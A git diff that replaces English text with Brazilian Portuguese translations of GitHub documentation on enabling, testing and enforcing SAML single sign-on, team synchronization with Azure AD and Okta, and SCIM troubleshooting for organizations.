-- "[Accessing your organization if your identity provider is unavailable](/articles/accessing-your-organization-if-your-identity-provider-is-unavailable)"
+- "[Sobre gerenciamento de identidade e acesso com o SAML de logon único](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[Acessar a organização se o provedor de identidade estiver indisponível](/articles/accessing-your-organization-if-your-identity-provider-is-unavailable)"
diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
index 00cc0a8af6..d5a65a7e46 100644
--- a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling and testing SAML single sign-on for your organization
-intro: Organization owners and admins can enable SAML single sign-on to add an extra layer of security to their organization.
+title: Habilitar e testar logon único de SAML para sua organização
+intro: 'Os administradores e proprietários da organização podem habilitar o logon único (SSO, Single Sign-On) de SAML para adicionar uma camada extra de segurança à organização.'
 redirect_from:
   - /articles/enabling-and-testing-saml-single-sign-on-for-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/enabling-and-testing-saml-single-sign-on-for-your-organization
@@ -9,55 +9,48 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Enable & test SAML SSO
+shortTitle: Habilitar & testar o SSO do SAML
 ---
 
-## About SAML single sign-on
+## Sobre o logon único SAML
 
-You can enable SAML SSO in your organization without requiring all members to use it. Enabling but not enforcing SAML SSO in your organization can help smooth your organization's SAML SSO adoption. Once a majority of your organization's members use SAML SSO, you can enforce it within your organization.
+Você pode habilitar o SAML SSO na sua organização sem exigir que todos os integrantes o utilizem. A habilitação (em vez da aplicação) do SAML SSO facilitará a adoção dele pela organização. Depois que a maioria dos integrantes da sua organização já estiver usando o SAML SSO, você poderá aplicá-lo a toda a organização.
 
-If you enable but don't enforce SAML SSO, organization members who choose not to use SAML SSO can still be members of the organization. For more information on enforcing SAML SSO, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+Se você habilitar em vez de aplicar o SAML SSO, os integrantes da organização que preferem não usá-lo poderão continuar sendo integrantes da organização. Para obter mais informações sobre a aplicação do SAML SSO, consulte "[Aplicar logon único de SAML para sua organização](/articles/enforcing-saml-single-sign-on-for-your-organization)".
 
 {% data reusables.saml.outside-collaborators-exemption %}
 
-## Enabling and testing SAML single sign-on for your organization
+## Habilitar e testar logon único de SAML para sua organização
 
-Before your enforce SAML SSO in your organization, ensure that you've prepared the organization. For more information, see "[Preparing to enforce SAML single sign-on in your organization](/articles/preparing-to-enforce-saml-single-sign-on-in-your-organization)."
+Antes de aplicar o SAML SSO na sua organização, certifique-se de preparar a organização. Para obter mais informações, consulte "[Preparar para aplicar logon único de SAML na organização](/articles/preparing-to-enforce-saml-single-sign-on-in-your-organization)".
 
-For more information about the identity providers (IdPs) that {% data variables.product.company_short %} supports for SAML SSO, see "[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)."
+Para obter mais informações sobre os provedores de identidade (IdPs) que {% data variables.product.company_short %} tem compabilidade com o SAML SSO, consulte "[Conectando seu provedor de identidade à sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)".
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-5. Under "SAML single sign-on", select **Enable SAML authentication**.
-![Checkbox for enabling SAML SSO](/assets/images/help/saml/saml_enable.png)
+5. Em "SAML single sign-on" (Logon único de SAML), selecione **Enable SAML authentication** (Habilitar autenticação SAML). ![Caixa de seleção para habilitar SAML SSO](/assets/images/help/saml/saml_enable.png)
 
   {% note %}
 
-  **Note:** After enabling SAML SSO, you can download your single sign-on recovery codes so that you can access your organization even if your IdP is unavailable. For more information, see "[Downloading your organization's SAML single sign-on recovery codes](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes)."
+  **Observação:** depois de habilitar o SAML SSO, baixe os seus códigos de recuperação de logon único para poder acessar sua organização mesmo que o IdP esteja indisponível. Para obter mais informações, consulte "[Baixar códigos de recuperação de logon único de SAML da organização](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes)".
 
   {% endnote %}
 
-6. In the "Sign on URL" field, type the HTTPS endpoint of your IdP for single sign-on requests. This value is available in your IdP configuration.
-![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url.png)
-7. Optionally, in the "Issuer" field, type your SAML issuer's name. This verifies the authenticity of sent messages.
-![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png)
-8. Under "Public Certificate," paste a certificate to verify SAML responses.
-![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png)
-9. Click {% octicon "pencil" aria-label="The edit icon" %} and then in the Signature Method and Digest Method drop-downs, choose the hashing algorithm used by your SAML issuer to verify the integrity of the requests.
-![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png)
-10. Before enabling SAML SSO for your organization, click **Test SAML configuration** to ensure that the information you've entered is correct. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png)
+6. No campo "Sign on URL" (URL de logon), digite o ponto de extremidade HTTPS do seu IdP para solicitações de logon único. Esse valor está disponível na configuração do IdP. ![Campo referente à URL para a qual os integrantes serão encaminhados ao entrarem](/assets/images/help/saml/saml_sign_on_url.png)
+7. Como alternativa, no campo "Issuer" (Emissor), digite o nome do emissor do SAML. Isso confirma a autenticidade das mensagens enviadas. ![Campo referente ao nome do emissor de SAML](/assets/images/help/saml/saml_issuer.png)
+8. Em "Public Certificate" (Certificado público), cole um certificado para verificar as respostas de SAML. ![Campo referente ao certificado público do seu provedor de identidade](/assets/images/help/saml/saml_public_certificate.png)
+9. Clique em {% octicon "pencil" aria-label="The edit icon" %} e, nos menus suspensos Signature Method (Método de assinatura) e Digest Method (Método de compilação), escolha o algoritmo de hash usado pelo emissor de SAML para verificar a integridade das solicitações. ![Menus suspensos Signature Method (Método de assinatura) e Digest Method (Método de compilação) para os algoritmos de hash usados pelo emissor de SAML](/assets/images/help/saml/saml_hashing_method.png)
+10. Antes de habilitar o SAML SSO para sua organização, clique em **Test SAML configuration** (Testar configuração de SAML) para garantir que as informações que você digitou estão corretas. ![Botão para testar a configuração de SAML antes da aplicação](/assets/images/help/saml/saml_test.png)
 
   {% tip %}
 
-  **Tip:** {% data reusables.saml.testing-saml-sso %}
+  **Dica:** {% data reusables.saml.testing-saml-sso %}
 
   {% endtip %}
-11. To enforce SAML SSO and remove all organization members who haven't authenticated via your IdP, select **Require SAML SSO authentication for all members of the _organization name_ organization**. For more information on enforcing SAML SSO, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
-![Checkbox to require SAML SSO for your organization ](/assets/images/help/saml/saml_require_saml_sso.png)
-12. Click **Save**.
-![Button to save SAML SSO settings](/assets/images/help/saml/saml_save.png)
+11. Para aplicar o SAML SSO e remover todos os integrantes da organização que não foram autenticados via IdP, selecione **Require SAML SSO authentication for all members of the _organization name_ organization** (Requer autenticação do SAML SSO para todos os integrantes da organização *nome da organização*). Para obter mais informações sobre a aplicação do SAML SSO, consulte "[Aplicar logon único de SAML para sua organização](/articles/enforcing-saml-single-sign-on-for-your-organization)". ![Caixa de seleção para exigir SAML SSO para sua organização ](/assets/images/help/saml/saml_require_saml_sso.png)
+12. Clique em **Salvar**. ![Botão para salvar as configurações do SAML SSO](/assets/images/help/saml/saml_save.png)
 
-## Further reading
+## Leia mais
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[Sobre gerenciamento de identidade e acesso com o SAML de logon único](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md
index 667d5251a9..99688de26c 100644
--- a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Enforcing SAML single sign-on for your organization
-intro: Organization owners and admins can enforce SAML SSO so that all organization members must authenticate via an identity provider (IdP).
+title: Aplicar logon único de SAML para sua organização
+intro: Administradores e proprietários da organização podem aplicar SAML SSO para que todos os integrantes da organização possam efetuar a autenticação por meio de um provedor de identidade (IdP).
 redirect_from:
   - /articles/enforcing-saml-single-sign-on-for-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/enforcing-saml-single-sign-on-for-your-organization
@@ -9,42 +9,40 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Enforce SAML single sign-on
+shortTitle: Aplicar logon único SAML
 ---
 
-## About enforcement of SAML SSO for your organization
+## Sobre a aplicação do SAML SSO para sua organização
 
-When you enable SAML SSO, {% data variables.product.prodname_dotcom %} will prompt members who visit the organization's resources on {% data variables.product.prodname_dotcom_the_website %} to authenticate on your IdP, which links the member's user account to an identity on the IdP. Members can still access the organization's resources before authentication with your IdP.
+Ao habilitar o SAML SSO, {% data variables.product.prodname_dotcom %} solicitará que os integrantes que visitam os recursos da organização em {% data variables.product.prodname_dotcom_the_website %} efetuem a autenticação no seu IdP, que vincula a conta de usuário do integrante a uma identidade no IdP. Os integrantes ainda podem acessar os recursos da organização antes da autenticação com seu IdP.
 
-![Banner with prompt to authenticate via SAML SSO to access organization](/assets/images/help/saml/sso-has-been-enabled.png)
+![Banner com solicitação para efetuar a autenticação por meio do SAML SSO para acessar a organização](/assets/images/help/saml/sso-has-been-enabled.png)
 
-You can also enforce SAML SSO for your organization. {% data reusables.saml.when-you-enforce %} Enforcement removes any members and administrators who have not authenticated via your IdP from the organization. {% data variables.product.company_short %} sends an email notification to each removed user. 
+Você também pode aplicar SAML SSO para a sua organização. {% data reusables.saml.when-you-enforce %} Aplicação remove todos os integrantes e administradores que não tenham efetuado a autenticação por meio do seu IdP da organização. {% data variables.product.company_short %} envia uma notificação de email para cada usuário removido.
 
-You can restore organization members once they successfully complete single sign-on. Removed users' access privileges and settings are saved for three months and can be restored during this time frame. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)."
+Você poderá restaurar integrantes da organização depois que eles tiverem concluído o logon único com êxito. Os privilégios e configurações de acesso dos usuários removidos são salvos por três meses e podem ser restaurados durante este período. Para obter mais informações, consulte "[Restabelecer ex-integrantes da organização](/articles/reinstating-a-former-member-of-your-organization)".
 
-Bots and service accounts that do not have external identities set up in your organization's IdP will also be removed when you enforce SAML SSO. For more information about bots and service accounts, see "[Managing bots and service accounts with SAML single sign-on](/articles/managing-bots-and-service-accounts-with-saml-single-sign-on)."
+As contas de bots e serviços que não têm identidades externas configuradas no IdP da sua organização também serão removidas quando você aplicar o SAML SSO. Para obter mais informações sobre bots e contas de serviço, consulte "[Gerenciar bots e contas de serviço com logon único SAML](/articles/managing-bots-and-service-accounts-with-saml-single-sign-on)".
 
-If your organization is owned by an enterprise account, requiring SAML for the enterprise account will override your organization-level SAML configuration and enforce SAML SSO for every organization in the enterprise. For more information, see "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+Se a sua organização pertencer a uma conta corporativa que exigir o SAML para a conta corporativa substituirá a configuração SAML da organização e aplicará SAML SSO para todas as organizações da empresa. Para obter mais informações, consulte "[Configurar logon único SAML para a sua empresa](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)".
 
 {% tip %}
 
-**Tip:** {% data reusables.saml.testing-saml-sso %}
+**Dica:** {% data reusables.saml.testing-saml-sso %}
 
 {% endtip %}
 
-## Enforcing SAML SSO for your organization
+## Impondo o SAML SSO para a sua organização
 
-1. Enable and test SAML SSO for your organization, then authenticate with your IdP at least once. For more information, see "[Enabling and testing SAML single sign-on for your organization](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)."
-1. Prepare to enforce SAML SSO for your organization. For more information, see "[Preparing to enforce SAML single sign-on in your organization](/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization)."
+1. Habilitar e testar o SAML SSO para a sua organização e, em seguida, efetuar a autenticação com seu IdP pelo menos uma vez. Para obter mais informações, consulte "[Habilitar e testar logon único de SAML para sua organização](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)".
+1. Prepare-se para aplicar o SAML SSO na sua organização. Para obter mais informações, consulte "[Preparar para aplicar logon único de SAML na organização](/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization)".
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-1. Under "SAML single sign-on", select **Require SAML SSO authentication for all members of the _ORGANIZATION_ organization**.
-    !["Require SAML SSO authentication" checkbox](/assets/images/help/saml/require-saml-sso-authentication.png)
-1. If any organization members have not authenticated via your IdP, {% data variables.product.company_short %} displays the members. If you enforce SAML SSO, {% data variables.product.company_short %} will remove the members from the organization. Review the warning and click **Remove members and require SAML single sign-on**.
-    !["Confirm SAML SSO enforcement" dialog with list of members to remove from organization](/assets/images/help/saml/confirm-saml-sso-enforcement.png)
-1. Under "Single sign-on recovery codes", review your recovery codes. Store the recovery codes in a safe location like a password manager.
+1. Em "logon único SAML", selecione **Exige augenticação SAML SSO para todos os integrantes da _ORGANIZAÇÃO_ organização**. ![Caixa de seleção "Exigir autenticação SAML SSO"](/assets/images/help/saml/require-saml-sso-authentication.png)
+1. Se algum integrante da organização não tiver efetuado a autenticação por eio do seu IdP, {% data variables.product.company_short %} irá exibir os integrantes. Se você aplicar o SAML SSO, {% data variables.product.company_short %} removerá os integrantes da organização. Revise o aviso e clique em **Remover os integrantes e exigir o logon único SAML**. ![Diálogo "Confirmar a aplicação do SAML SSO" com a lista de integrantes a serem removidos da organização](/assets/images/help/saml/confirm-saml-sso-enforcement.png)
+1. Em "Códigos de recuperação do logon único", revise seus códigos de recuperação. Armazene os códigos de recuperação em um local seguro, como um gerenciador de senhas.
 
-## Further reading
+## Leia mais
 
-- "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)"
+- "[Visualizar e gerenciar acesso de SAML de um integrante à sua organização](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)"
diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
index 668ba3b7bc..b060aaf98a 100644
--- a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
+++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing SAML single sign-on for your organization
-intro: Organization owners can manage organization members' identities and access to the organization with SAML single sign-on (SSO).
+title: Gerenciar o logon único SAML para sua organização
+intro: Os proprietários da organização podem gerenciar as identidades e acesso dos integrantes da organização com o logon único SAML (SSO).
 redirect_from:
   - /articles/managing-member-identity-and-access-in-your-organization-with-saml-single-sign-on
   - /articles/managing-saml-single-sign-on-for-your-organization
@@ -22,6 +22,6 @@ children:
   - /managing-team-synchronization-for-your-organization
   - /accessing-your-organization-if-your-identity-provider-is-unavailable
   - /troubleshooting-identity-and-access-management
-shortTitle: Manage SAML single sign-on
+shortTitle: Gerenciar logon único SAML
 ---
 
diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
index 353f17c351..20694f1496 100644
--- a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing team synchronization for your organization
-intro: 'You can enable and disable team synchronization between your identity provider (IdP) and your organization on {% data variables.product.product_name %}.'
+title: Gerenciar a sincronização de equipe para a sua organização
+intro: 'Você pode habilitar e desabilitar a sincronização de equipes entre o seu provedor de identidade (IdP) e a sua organização em {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/synchronizing-teams-between-your-identity-provider-and-github
   - /github/setting-up-and-managing-organizations-and-teams/synchronizing-teams-between-your-identity-provider-and-github
@@ -13,14 +13,14 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage team synchronization
+shortTitle: Gerenciar sincronização de equipe
 ---
 
 {% data reusables.enterprise-accounts.emu-scim-note %}
 
-## About team synchronization
+## Sobre a sincronização de equipes
 
-You can enable team synchronization between your IdP and {% data variables.product.product_name %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups.
+É possível habilitar a sincronização de equipes entre seu IdP e o {% data variables.product.product_name %} para permitir que os proprietários da organização e mantenedores da equipe conectem equipes na sua organização com grupos de IdP.
 
 {% data reusables.identity-and-permissions.about-team-sync %}
 
@@ -28,25 +28,25 @@ You can enable team synchronization between your IdP and {% data variables.produ
 
 {% data reusables.identity-and-permissions.sync-team-with-idp-group %}
 
-You can also enable team synchronization for organizations owned by an enterprise account. For more information, see "[Managing team synchronization for organizations in your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+Também é possível habilitar a sincronização de equipes para organizações que pertencem a uma conta corporativa. Para obter mais informações, consulte "[Gerenciar a sincronização de equipes para organizações na sua empresa](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)".
 
 {% data reusables.enterprise-accounts.team-sync-override %}
 
 {% data reusables.identity-and-permissions.team-sync-usage-limits %}
 
-## Enabling team synchronization
+## Habilitar a sincronização de equipes
 
-The steps to enable team synchronization depend on the IdP you want to use. There are prerequisites to enable team synchronization that apply to every IdP. Each individual IdP has additional prerequisites.
+As etapas para habilitar a sincronização de equipe dependem do IdP que você deseja usar. Existem pré-requisitos para habilitar a sincronização de equipes que se aplicam a cada IdP. Cada IdP individual tem pré-requisitos adicionais.
 
-### Prerequisites
+### Pré-requisitos
 
 {% data reusables.identity-and-permissions.team-sync-required-permissions %}
 
-You must enable SAML single sign-on for your organization and your supported IdP. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+Você deve habilitar o logon único SAML para sua organização e seu IdP compatível. Para obter mais informações, consulte "[Aplicando o logon único SAML para a sua organização](/articles/enforcing-saml-single-sign-on-for-your-organization)".
 
-You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)."
+Você deve ter uma identidade SAML vinculada. Para criar uma identidade vinculada, você deve efetuar a autenticação na sua organização usando o SAML SSO e o IdP compatível pelo menos uma vez. Para obter mais informações, consulte "[Autenticar com logon único de SAML](/articles/authenticating-with-saml-single-sign-on)".
 
-### Enabling team synchronization for Azure AD
+### Habilitar a sincronização de equipe para o Azure AD
 
 {% data reusables.identity-and-permissions.team-sync-azure-permissions %}
 
@@ -56,18 +56,17 @@ You must have a linked SAML identity. To create a linked identity, you must auth
 {% data reusables.identity-and-permissions.team-sync-confirm-saml %}
 {% data reusables.identity-and-permissions.enable-team-sync-azure %}
 {% data reusables.identity-and-permissions.team-sync-confirm %}
-6. Review the identity provider tenant information you want to connect to your organization, then click **Approve**.
-  ![Pending request to enable team synchronization to a specific IdP tenant with option to approve or cancel request](/assets/images/help/teams/approve-team-synchronization.png)
+6. Reveja as informações do encarregado do provedor de identidade que você deseja conectar à organização e clique em **Approve** (Aprovar). ![Solicitação pendente para habilitar a sincronização de equipes para um determinado encarregado do IdP com opção de aprovar ou cancelar a solicitação](/assets/images/help/teams/approve-team-synchronization.png)
 
-### Enabling team synchronization for Okta
+### Habilitar a sincronização de equipe para o Okta
 
-Okta team synchronization requires that SAML and SCIM with Okta have already been set up for your organization.
+A sincronização da equipe do Okta exige que o SAML e o SCIM com Okta já tenham sido configurados para sua organização.
 
-To avoid potential team synchronization errors with Okta, we recommend that you confirm that SCIM linked identities are correctly set up for all organization members who are members of your chosen Okta groups, before enabling team synchronization on {% data variables.product.prodname_dotcom %}. 
+Para evitar possíveis erros de sincronização de equipes com o Okta, recomendamos que você confirme se as identidades vinculadas ao SCIM estão configuradas corretamente para todos os integrantes da organização que forem integrantes dos seus grupos escolhidos do Okta antes de habilitar a sincronização de equipes em {% data variables.product.prodname_dotcom %}.
 
-If an organization member does not have a linked SCIM identity, then team synchronization will not work as expected and the user may not be added or removed from teams as expected. If any of these users are missing a SCIM linked identity, you will need to reprovision them.
+Se um integrante da organização não tiver uma identidade SCIM vinculada, a sincronização de equipes não funcionará conforme esperado e o usuário não poderá ser adicionado ou removido das equipes como esperado. Se algum desses usuários não tiver uma identidade associada ao SCIM, você deverá provisioná-la.
 
-For help on provisioning users that have missing a missing SCIM linked identity, see "[Troubleshooting identity and access management](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management)."
+Para obter ajuda sobre o provisionamento de usuários que não tenham uma identidade vinculada ao SCIM, consulte "[Resolvendo problemas de identidade e gerenciamento de acessos](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management)".
 
 {% data reusables.identity-and-permissions.team-sync-okta-requirements %}
 
@@ -76,19 +75,16 @@ For help on provisioning users that have missing a missing SCIM linked identity,
 {% data reusables.organizations.security %}
 {% data reusables.identity-and-permissions.team-sync-confirm-saml %}
 {% data reusables.identity-and-permissions.team-sync-confirm-scim %}
-1. Consider enforcing SAML in your organization to ensure that organization members link their SAML and SCIM identities. For more information, see "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)."
+1. Considere aplicar o SAML na sua organização para garantir que os integrantes da organização vinculem suas identidades ao SAML e ao SCIM. Para obter mais informações, consulte "[Aplicando o logon único SAML para a sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)".
 {% data reusables.identity-and-permissions.enable-team-sync-okta %}
-7. Under your organization's name, type a valid SSWS token and the URL to your Okta instance.
-  ![Enable team synchronization Okta organization form](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png)
-6. Review the identity provider tenant information you want to connect to your organization, then click **Create**.
-  ![Enable team synchronization create button](/assets/images/help/teams/confirm-team-synchronization-okta.png)
+7. No nome da sua organização, digite um token SSWS válido e a URL para sua instância do Okta. ![Formulário da organização do Okta para habilitar a sincronização de equipes](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png)
+6. Revise as informações do locatário do provedor de identidade que você deseja conectar à sua organização e clique em **Criar**. ![Botão de criar em habilitar a sincronização de equipes](/assets/images/help/teams/confirm-team-synchronization-okta.png)
 
-## Disabling team synchronization
+## Desabilitar a sincronização de equipes
 
 {% data reusables.identity-and-permissions.team-sync-disable %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-5. Under "Team synchronization", click **Disable team synchronization**.
-  ![Disable team synchronization](/assets/images/help/teams/disable-team-synchronization.png)
+5. Em "Team synchronization" (Sincronização de equipes), clique em **Disable team synchronization** (Desabilitar sincronização de equipes). ![Desabilitar a sincronização de equipes](/assets/images/help/teams/disable-team-synchronization.png)
diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
index 8af5f30451..0d1224270b 100644
--- a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Preparing to enforce SAML single sign-on in your organization
-intro: 'Before you enforce SAML single sign-on in your organization, you should verify your organization''s membership and configure the connection settings to your identity provider.'
+title: Preparar para exigir o logon único SAML na organização
+intro: 'Antes de exigir o logon único SAML na organização, você deve verificar a associação da organização e configurar as definições de conexão para seu provedor de identidade.'
 redirect_from:
   - /articles/preparing-to-enforce-saml-single-sign-on-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/preparing-to-enforce-saml-single-sign-on-in-your-organization
@@ -9,17 +9,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Prepare to enforce SAML SSO
+shortTitle: Prepare-se para aplicar o SSO do SAML
 ---
 
-{% data reusables.saml.when-you-enforce %} Before enforcing SAML SSO in your organization, you should review organization membership, enable SAML SSO, and review organization members' SAML access. For more information, see the following.
+{% data reusables.saml.when-you-enforce %} antes de aplicar o SAML SSO na sua organização, você deverá revisar a associação da organização, habilitar o SAML SSO e revisar o acesso SAML dos integrantes da organização. Para obter mais informações, consulte o seguinte.
 
-| Task | More information |
-| :- | :- |
-| Add or remove members from your organization | <ul><li>"[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)"</li><li>"[Removing a member from your organization](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization)"</li></ul> |
-| Connect your IdP to your organization by enabling SAML SSO | <ul><li>"[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)"</li><li>"[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)"</li></ul> |
-| Ensure that your organization members have signed in and linked their accounts with the IdP | <ul><li>"[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)"</li></ul> |
+| Tarefa                                                                                         | Mais informações          |
+|:---------------------------------------------------------------------------------------------- |:------------------------- |
+| Adicionar ou remover integrantes da sua organização                                            | <ul><li>"[Convidar usuários para participar da sua organização](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)"</li><li>"[Remover um integrante da sua organização](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization)"</li></ul> |
+| Conecte seu IdP à sua organização habilitando o SAML SSO                                       | <ul><li>"[Conectando seu provedor de identidade à sua organização](/organizations/managing-saml-one-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)"</li><li>"[Habilitando e testando o logon único SAML para a sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)"</li></ul> |
+| Certifique-se de que os integrantes da organização registraram e vincularam suas contas ao IdP | <ul><li>"[Visualizando e gerenciando o acesso SAML de um integrante para a sua organização](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)"</li></ul> |
 
-After you finish these tasks, you can enforce SAML SSO for your organization. For more information, see "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)."
+Após concluir estas tarefas, você pode aplicar o SAML SSO SAML para a sua organização. Para obter mais informações, consulte "[Aplicando o logon único SAML para a sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)".
 
 {% data reusables.saml.outside-collaborators-exemption %}
diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md
index 5e33eb9458..64e29e6d21 100644
--- a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md
+++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md
@@ -1,47 +1,47 @@
 ---
-title: Troubleshooting identity and access management
-intro: 'Review and resolve common troubleshooting errors for managing your organization''s SAML SSO, team synchronization, or identity provider (IdP) connection.'
+title: Solução de problemas de identidade e gerenciamento de acesso
+intro: 'Revise e solucuone erros comuns para gerenciar a o SAML SSO da sua organização, sincronização de equipes ou provedor de identidade (IdP).'
 versions:
   ghec: '*'
 topics:
   - Organizations
   - Teams
-shortTitle: Troubleshooting access
+shortTitle: Solução de problemas de acesso
 ---
 
-## Some users are not provisioned or deprovisioned by SCIM
+## Alguns usuários não são provisionados ou desprovisionados pelo SCIM
 
-When you encounter provisioning issues with users, we recommend that you check if the users are missing SCIM metadata. If an organization member has missing SCIM metadata, then you can re-provision SCIM for the user manually through your IdP.
